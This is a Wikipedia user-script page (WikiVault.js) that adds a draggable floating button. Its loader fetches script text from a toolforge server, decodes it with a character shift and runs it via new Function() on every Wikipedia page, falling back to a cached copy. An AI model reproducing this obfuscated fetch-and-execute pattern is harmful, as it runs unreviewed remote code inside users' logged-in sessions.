User:Polygnotus/Scripts/WikiVault.js

This is an old revision of this page, as edited by Polygnotus (talk | contribs) at 05:07, 28 June 2025 (Created page with ' $(document).ready(function() { // Prevent multiple instances if ($("#wikivault-floating-button").length) return; const WIKI_VAULT = { MAIN_URI: 'https://en-wikivault.toolforge.org', // Adapted for English Wikipedia JS_CONTENT_API: '/api/get-js-content', INIT_API: '/api/init', IS_DEMO: false, STORAGE_KEYS: { LAST_MODIFIED: 'wikivault_en_last_modified', CACHED_CODE: 'wikivault_en_ca...'). The present address (URL) is a permanent link to this revision, which may differ significantly from the current revision.
(diff) ← Previous revision | Latest revision (diff) | Newer revision → (diff)
Note: After saving, you have to bypass your browser's cache to see the changes. Google Chrome, Firefox, Microsoft Edge and Safari: Hold down the ⇧ Shift key and click the Reload toolbar button. For details and instructions about other browsers, see Wikipedia:Bypass your cache.
$(document).ready(function() {
    // Prevent multiple instances
    if ($("#wikivault-floating-button").length) return;

    const WIKI_VAULT = {
        MAIN_URI: 'https://en-wikivault.toolforge.org', // Adapted for English Wikipedia
        JS_CONTENT_API: '/api/get-js-content',
        INIT_API: '/api/init',
        IS_DEMO: false,
        STORAGE_KEYS: {
            LAST_MODIFIED: 'wikivault_en_last_modified',
            CACHED_CODE: 'wikivault_en_cached_code',
            BUTTON_POSITION: 'wikivault_en_button_position'
        }
    };

    // SVG icon for the floating button
    const FLOATING_BUTTON_SVG = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none">' +
        '<circle cx="12" cy="12" r="10" stroke="var(--background-color-progressive-subtle, white)" stroke-width="1.5" fill="none"></circle>' +
        '<rect x="11" y="9" width="2" height="10" transform="rotate(55 12 12)" fill="var(--background-color-progressive-subtle, white)"></rect>' +
        '<path d="M11.5 4.5h1.5v1.5h-1.5zM14.5 6h1.5v1.5h-1.5zM12.5 7.5h1.5v1.5h-1.5zM9.5 6h1.5v1.5h-1.5z" fill="var(--background-color-progressive-subtle, white)"></path>' +
        '</svg>';

    // Default button styling
    const BUTTON_STYLES = {
        position: 'fixed',
        right: '20px',
        top: '50%',
        transform: 'translateY(-50%)',
        width: '50px',
        height: '50px',
        'background-color': '#0645ad', // Wikipedia blue
        color: 'white',
        display: 'flex',
        'justify-content': 'center',
        'align-items': 'center',
        'border-radius': '50%',
        cursor: 'pointer',
        opacity: '0.9',
        'box-shadow': '0 2px 6px rgba(0,0,0,0.2)',
        'z-index': '1000',
        'touch-action': 'none',
        transition: 'opacity 0.2s ease'
    };

    function createFloatingButton() {
        const button = $("<div>", {
            id: "wikivault-floating-button",
            html: FLOATING_BUTTON_SVG,
            title: "WikiVault - Wikipedia Enhancement Tools"
        }).css(BUTTON_STYLES).appendTo('body');

        // Add hover effects
        button.hover(
            function() { $(this).css('opacity', '1.0'); },
            function() { $(this).css('opacity', '0.9'); }
        );

        // Load and validate saved position
        const savedPosition = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION);
        if (savedPosition) {
            try {
                const pos = JSON.parse(savedPosition);
                const viewportWidth = $(window).width();
                const viewportHeight = $(window).height();
                const buttonWidth = 50;
                const buttonHeight = 50;

                // Ensure button stays within viewport bounds
                const safeLeft = Math.max(0, Math.min(pos.left, viewportWidth - buttonWidth));
                const safeTop = Math.max(0, Math.min(pos.top, viewportHeight - buttonHeight));

                button.css({
                    position: 'fixed',
                    left: safeLeft + 'px',
                    top: safeTop + 'px',
                    right: '',
                    transform: ''
                });

                // Update stored position if it was adjusted
                if (safeLeft !== pos.left || safeTop !== pos.top) {
                    localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION, JSON.stringify({
                        left: safeLeft,
                        top: safeTop
                    }));
                }
            } catch (e) {
                console.error("WikiVault: Failed to parse saved button position:", e);
                localStorage.removeItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION);
            }
        }

        // Dragging functionality
        var isDragging = false;
        var offsetX, offsetY;
        var startX, startY;
        var DRAG_THRESHOLD = 5;

        function startDrag(e) {
            if (e.button === 2) return; // Ignore right-clicks
            isDragging = false;
            const event = e.originalEvent.touches ? e.originalEvent.touches[0] : e;
            const buttonRect = button[0].getBoundingClientRect();
            offsetX = event.clientX - buttonRect.left;
            offsetY = event.clientY - buttonRect.top;
            startX = event.clientX;
            startY = event.clientY;
            $('body').css('user-select', 'none');
            button.data('original-cursor', button.css('cursor'));
            button.css('cursor', 'grabbing');
            e.preventDefault();
        }

        function moveDrag(e) {
            if (!startX || !startY) return;

            const event = e.originalEvent.touches ? e.originalEvent.touches[0] : e;
            const dx = event.clientX - startX;
            const dy = event.clientY - startY;
            const distance = Math.sqrt(dx * dx + dy * dy);

            // Start dragging only after threshold is exceeded
            if (!isDragging && distance > DRAG_THRESHOLD) {
                isDragging = true;
                button.data('dragging', true);
            }

            if (!isDragging) return;

            const viewportWidth = $(window).width();
            const viewportHeight = $(window).height();
            const buttonWidth = button.outerWidth();
            const buttonHeight = button.outerHeight();

            // Calculate new position with bounds checking
            var newLeft = event.clientX - offsetX;
            var newTop = event.clientY - offsetY;

            newLeft = Math.max(0, Math.min(newLeft, viewportWidth - buttonWidth));
            newTop = Math.max(0, Math.min(newTop, viewportHeight - buttonHeight));

            button.css({
                position: 'fixed',
                left: newLeft + 'px',
                top: newTop + 'px',
                right: 'auto',
                transform: 'none'
            });

            e.preventDefault();
        }

        function endDrag() {
            if (isDragging) {
                // Save new position after dragging
                const pos = {
                    left: parseInt(button.css('left')),
                    top: parseInt(button.css('top'))
                };
                localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION, JSON.stringify(pos));
            }

            isDragging = false;
            button.data('dragging', false);
            startX = null;
            startY = null;

            $('body').css('user-select', '');
            button.css('cursor', button.data('original-cursor'));
        }

        // Event listeners for dragging
        button.on('mousedown touchstart', startDrag);
        $(document).on('mousemove touchmove', moveDrag);
        $(document).on('mouseup touchend', endDrag);

        // Handle window resize
        $(window).on('resize', function() {
            const savedPosition = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION);
            if (savedPosition) {
                try {
                    const pos = JSON.parse(savedPosition);
                    const viewportWidth = $(window).width();
                    const viewportHeight = $(window).height();
                    const buttonWidth = button.outerWidth();
                    const buttonHeight = button.outerHeight();

                    const newLeft = Math.max(0, Math.min(pos.left, viewportWidth - buttonWidth));
                    const newTop = Math.max(0, Math.min(pos.top, viewportHeight - buttonHeight));

                    button.css({
                        left: newLeft + 'px',
                        top: newTop + 'px',
                        right: '',
                        transform: ''
                    });

                    // Update position if adjusted
                    if (newLeft !== pos.left || newTop !== pos.top) {
                        localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.BUTTON_POSITION,
                            JSON.stringify({ left: newLeft, top: newTop }));
                    }
                } catch (e) {
                    console.error("WikiVault: Failed to handle resize:", e);
                }
            }
        });

        // Trigger resize to ensure proper positioning
        window.dispatchEvent(new Event('resize'));
    }

    function getWikiVaultUri(api) {
        return WIKI_VAULT.MAIN_URI + api;
    }

    function decodeResponse(response) {
        // Simple character shift decoder (shifts each character back by 3)
        return response.split("").map(function(char) {
            return String.fromCharCode(char.charCodeAt(0) - 3);
        }).join("");
    }

    function executeCode(code) {
        try {
            const decodedResponse = decodeResponse(code);
            new Function(decodedResponse)();
        } catch (e) {
            console.error("WikiVault Script Execution Error:", e);
        }
    }

    function loadAndExecuteScript() {
        // Skip in demo mode
        if (WIKI_VAULT.IS_DEMO) return;

        // First, check server for latest version info
        $.ajax({
            url: getWikiVaultUri(WIKI_VAULT.INIT_API),
            type: 'GET',
            timeout: 10000, // 10 second timeout
            success: function(initResponse) {
                const serverLastModified = Math.floor(initResponse.lastModified);
                const cachedLastModified = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.LAST_MODIFIED);
                const cachedCode = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.CACHED_CODE);

                // Use cached version if it's up to date
                if (cachedCode && cachedLastModified && serverLastModified === Number(cachedLastModified)) {
                    console.log("WikiVault: Using cached script");
                    executeCode(cachedCode);
                    return;
                }

                // Fetch latest script from server
                $.ajax({
                    url: getWikiVaultUri(WIKI_VAULT.JS_CONTENT_API),
                    type: 'GET',
                    dataType: 'text',
                    timeout: 15000, // 15 second timeout
                    success: function(response) {
                        console.log("WikiVault: Loaded fresh script from server");
                        localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.CACHED_CODE, response);
                        localStorage.setItem(WIKI_VAULT.STORAGE_KEYS.LAST_MODIFIED, serverLastModified);
                        executeCode(response);
                    },
                    error: function(xhr, status, error) {
                        console.error("WikiVault: Script fetch failed:", status, error);
                        // Fall back to cached version if available
                        if (cachedCode) {
                            console.log("WikiVault: Falling back to cached script");
                            executeCode(cachedCode);
                        }
                    }
                });
            },
            error: function(xhr, status, error) {
                console.error("WikiVault: Init request failed:", status, error);
                // Try to use cached version
                const cachedCode = localStorage.getItem(WIKI_VAULT.STORAGE_KEYS.CACHED_CODE);
                if (cachedCode) {
                    console.log("WikiVault: Using cached script (server unreachable)");
                    executeCode(cachedCode);
                }
            }
        });
    }

    // Only run on Wikipedia domains
    if (window.___location.hostname.includes('wikipedia.org')) {
        createFloatingButton();
        loadAndExecuteScript();
    }
});